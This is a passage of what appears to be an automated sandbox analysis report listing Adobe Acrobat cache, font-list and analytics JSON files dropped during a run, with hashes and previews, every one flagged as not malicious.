SSDEEP:	3:kkFklwF3PtfllXlE/HT8k9IjNNX8RolJuRdxLlGB9lQRYwpDdt:kKpxeT80eNMa8RdWBwRd
MD5:	9AA4BB70D27869E185E1BE20A67AF0DD
SHA1:	555B374795B2B31480CD92C01CBAA8C9B526BE18
SHA-256:	DC634EA31ADBA111F9EA6ADCF1A535DE3DA2BB72D41EAE08BC1281B6883F5A66
SHA-512:	394753B77DBE1C277EE1F39939B7E0F410FA2FBB9938ADA7F9DC87CDA64C58C39A97BAA1009841BCD369B38B146C67A96CDEA617F903BB5DFF430856EC7420CE
Malicious:	false
Preview:	p...... .........HR.dc..(....................................................... ..........W.....F..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.217290855006012
Encrypted:	false
SSDEEP:	6:kK6wM/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:yx/iDImsLNkPlE99SNxAhUe/3
MD5:	BA53D745FACE42A86FC63565F81C5611
SHA1:	2DBEA32D86F2E03B65CFAAC91BEA729A78735DAB
SHA-256:	69517026E97E165444CB1F7672EF73DAFF9D509AA102811F28697DD27B36AD46
SHA-512:	75B8DB3F549403C48778E6B8A5D336ED1E0A0AB48EF936EC20814AB668FA51B54F3B2F60A68EEE7270E66EB567BBE3115481675C7EA5ABED03556D01A9543E0E
Malicious:	false
Preview:	p...... ........e..+dc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.740

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.740

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.335998785507733
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJM3g98kUwPeUkwRe9:YvXKXW8hvR/ZwHAEcOGMbLUkee9
MD5:	AF52A13AAD6BC1282B28DAC6A30B7B7D
SHA1:	4C08F75EEF009E30D77D4FA16CCCAEE7F615ED19
SHA-256:	B85569E084C8ED31A53DBFCD38B4B5AFF0B7023DB350FCF902DA9916EB5F2C99
SHA-512:	D90457D0D0CC4969E4E454A57787862270E83F8EB4F6FD9A63B52DACB79D2EB66AC2C4D2FC3FB4C0E28E5D127AA9BADA210401A13792D43BA17B5B77931D8AE4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.270958805127209
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJfBoTfXpnrPeUkwRe9:YvXKXW8hvR/ZwHAEcOGWTfXcUkee9
MD5:	719D0F83EB93AFD0A7CDEA4BAB89DA5C
SHA1:	291BD01ECAC831D6400429A777D62D9BDFD14E55
SHA-256:	C73CE72DAA3E3ACA9BB2E111FB29D449843673BBE8E35E8AAAF838DF8A0F831D
SHA-512:	0F93EB4687C5ABC2D096A062089C86679050F7FE578EE0514B1994DB7B988CFD1956BA271968BEFD165489E5FF56E0B64CC02C4A30D4608DE361368532E14F40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.249097719872476
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJfBD2G6UpnrPeUkwRe9:YvXKXW8hvR/ZwHAEcOGR22cUkee9
MD5:	F9E5065DB92D84F9E589183164EB726E
SHA1:	3C73928AE5216639645E7D3377AC7B557F8BFA48
SHA-256:	20311BB0EF18017CBE8E8D162872BB7C81AABA26E95D3CA8CFD94093DACBD4B3
SHA-512:	63F6DED1502A42954F890E5B6F4C89DDE1EAB55C8F0AC557B46CD750D57C703A4B0FCA22B428EA33FA853B785D236C77D2CA03BACD1D40E819D7E21473C55800
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3119871706211175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJfPmwrPeUkwRe9:YvXKXW8hvR/ZwHAEcOGH56Ukee9
MD5:	9004C08F190F648CE0F1FA80B0A85CDF
SHA1:	504AEF8E43F361E574E22C3CD7C5A231CF89D6EE
SHA-256:	0CD85BC0AE22C07958058F39266B13F148154A9E2A7107854570407382CD8724
SHA-512:	0C47AAC5C3C445D99744698BBDE853772E6064A0BFE7C40F583043721F474FB41F50200E4AE21C37BF3BBD451E437CC10FE3B677B4593C4798752939B4B6A314
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686402419623145
Encrypted:	false
SSDEEP:	24:Yv6XWwJhQc7pLgE9cQx8LennAvzBvkn0RCmK8czOCCS2:YvzwJhQQhgy6SAFv5Ah8cv/2
MD5:	8ECDB21F32E99140617375127FAA538F
SHA1:	8377615AE14E5BDA52FC566626DD0A78E55C4F6E
SHA-256:	879A748DBA40A36198B539891F4B72EDD84621183F9E5E8AAE49D42C6D715C82
SHA-512:	30E7AEF04F3F9163CF6F63E544EE5700CA7E89E9D9BB3DE21B4EA5CAF1C9BE9A50AD379A4C47B186EA516CF33E6AC2197B77C4FDB49472E54168D9D5CFA58474
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.258656165176934
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJf8dPeUkwRe9:YvXKXW8hvR/ZwHAEcOGU8Ukee9
MD5:	18C08968CEC8D0F753C0F3A324D478A9
SHA1:	0E69CA653C1B15A739789A9761520A1377D9C4E2
SHA-256:	853DF6299EEF56AF055E8DDBB56D34EF3A4790C3ADB353230239388D8B489D03
SHA-512:	A7BBD283C1EAAAC95E22B248577A67F2355EC9A176C6CD043966565B96FCDD9842A3D30D09942C1A0A21C631A2F540AFF262DA2D250A316751ABCF7F875D5A81
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.257759898244702
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJfQ1rPeUkwRe9:YvXKXW8hvR/ZwHAEcOGY16Ukee9
MD5:	324ED278CF3121E339C7A0CF83D86D8D
SHA1:	725A1A1339FB21E36C8F23508D114E662BE31598
SHA-256:	CECD171A203C68604BBC4EB75BDBD3936A1FB0897C2CC33826CC46E8F7DBC916
SHA-512:	A0E85FB4FBD7B416A04C384F0660F3BAD942A56F4EB0F51575DCC2191E1C3D810BF423BEC0EEA592B3DD900D4621830F67A9F9D9A86544B56043275BB644F73B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273578189134877
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJfFldPeUkwRe9:YvXKXW8hvR/ZwHAEcOGz8Ukee9
MD5:	4094A432AAD652B988F80B092BBE28D5
SHA1:	C44D0291ADAAE82A676E0934529F555483A3B859
SHA-256:	E87ED30C98B8C755F079F817DC15F1CB5D95205398BE31CE4F6FA90B6D961D88
SHA-512:	1589D0DCDD6D8AAE1E42EF3C07AF38F39C075CE0C3DF32155633344349AFD4B84F641FA0515F5D724882323EA6830CDDE505ACA50E7120416548ACE54878DA49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.28769008032857
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJfzdPeUkwRe9:YvXKXW8hvR/ZwHAEcOGb8Ukee9
MD5:	DBB0370748A665E0CD78DBD4DEC4978F
SHA1:	86601EC44CF9A15ED41178D9A808C89D996BB32D
SHA-256:	FEE6BE8EA42E4F91B52C8DA4A1D52C8239DF325B49BC3BF61C1337D38CE7B5CB
SHA-512:	2E2F1E4C61370AA9C26226274772C86F6DF94B99E6A76EFFE854FC87F08D0A496EE6950016CD1FF49BAAF04DB814DE9C8F1A30C58F0E187339A7D823E7468781
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267953718469801
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJfYdPeUkwRe9:YvXKXW8hvR/ZwHAEcOGg8Ukee9
MD5:	8F16102852BE42F1CEFD84D488622228
SHA1:	6749B0F596C85AFAF5B2EBC8ABC61CE4F1B5AB24
SHA-256:	DD07AABFA5AFC9E3CAFB12542D88A977C1FF632A41D93E715986B04C6EA85438
SHA-512:	34E4421E7E416416F6A3402E1FF5143B8F7E7B1803DEF1FCCEB2C09A7CD14AAD77E799D85EA7BB1BEDFD435E8105E67569CF1804A31EF92AEFFA4D142497AD20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.253738887122955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJf+dPeUkwRe9:YvXKXW8hvR/ZwHAEcOG28Ukee9
MD5:	96DC04F07ACE5569250D9B4147CC8AA6
SHA1:	43769FCB77F46DBE905B98C574E135D9B65A2316
SHA-256:	5127667D3DFC0ACB4EE191D77EEE4BC02BAE52D7A3530BCD90FD53E730455711
SHA-512:	330F459FC68071624BF50C2972AD22C14A84D046C402DCE7B08937EB87214526A0250F3D1D5B52D78AB2F2AEC74FDBFD4075FBE844C811BE84478597948ACEE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.251721065501262
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJfbPtdPeUkwRe9:YvXKXW8hvR/ZwHAEcOGDV8Ukee9
MD5:	996E7D644AF4414CA3FDA3F84982696C
SHA1:	FF3C6B66DC53650E7E87E67D04A46756A2F36F7F
SHA-256:	1008786A47512327E70E224F0F7BE0408AC453951BB04D7F2F169555D9069931
SHA-512:	0E382F1948C8B5B214D5CD3A20CABDF697A7924EF088D3DB994DA168711F92966B7BCD0305B6D2019366BB92D5CE7E5CCC571E85E94C56E10E40C329B29758E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ecbd907d-5cc2-4fa4-9424-804a48e4a0b5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736690132143,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.250616311936522
Encrypted:	false
SSDEEP:	6:YEQXJ2HXW8D+2vB3/dVlPIHAR0YQERxoAvJf21rPeUkwRe9:YvXKXW8hvR/ZwHAEcOG+16Ukee9
MD5:	E1F46B2DECFB63E38E94D6F1CA4E2088
SHA1:	66F7865E28E25626B222313BCEF8153602D78103
